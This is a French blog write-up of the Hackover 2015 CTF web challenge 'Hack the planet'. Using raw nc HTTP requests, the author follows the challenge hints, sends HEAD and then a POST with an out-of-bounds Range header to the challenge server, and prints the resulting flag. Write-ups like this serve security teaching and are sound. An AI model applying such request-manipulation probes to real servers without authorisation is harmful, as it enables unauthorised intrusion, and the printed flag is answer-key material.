[Hackover 2015] [Web 50 – Hack the planet] Write Up

Description

Hacking a site is basic task for any skilled hacker.
Methods range from brute force to talking to people.
No matter which method you choose, don’t forget to use head.

Resolution

Une identification, une image de background de hacker, et … une jolie description.

A chaque tentative infructueuse d’identification, une image de « fail » nous est renvoyée.

Parlons un peu plus de la description, « don’t forget to use HEAD » , allons voir 😉

$ nc hack-the-planet.hackover.h4q.it 80
HEAD /login HTTP/1.0
host: hack-the-planet.hackover.h4q.it

HTTP/1.0 206 Partial Content
X-Hackers-Kate-Libby: make it my first-born!
Date: Fri, 16 Oct 2015 18:04:18 GMT
Content-Type: text/plain; charset=utf-8

Un header X-Hackers qui ne nous parle pas et … comment ça une réponse « Partial Content » ?!

Comme de par hasard, la description parle de « Methods RANGE from brute force… ».

Allez, on essaye de toucher au range en utilisant une plage un peu plus grande que le poids de l’image de fail habituelle :

$ nc hack-the-planet.hackover.h4q.it 80
POST /login HTTP/1.0
host: hack-the-planet.hackover.h4q.it
Range: bytes=9046-10000

HTTP/1.0 416 Requested Range Not Satisfiable
Content-Type: text/plain; charset=utf-8
Last-Modified: Fri, 16 Oct 2015 18:16:36 GMT
X-Content-Type-Options: nosniff
Date: Fri, 16 Oct 2015 18:16:36 GMT
Content-Length: 55

invalid range
hackover15{Thepoolontheroofnusthavealeak}

Gagné !

Le flag est hackover15{Thepoolontheroofnusthavealeak}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *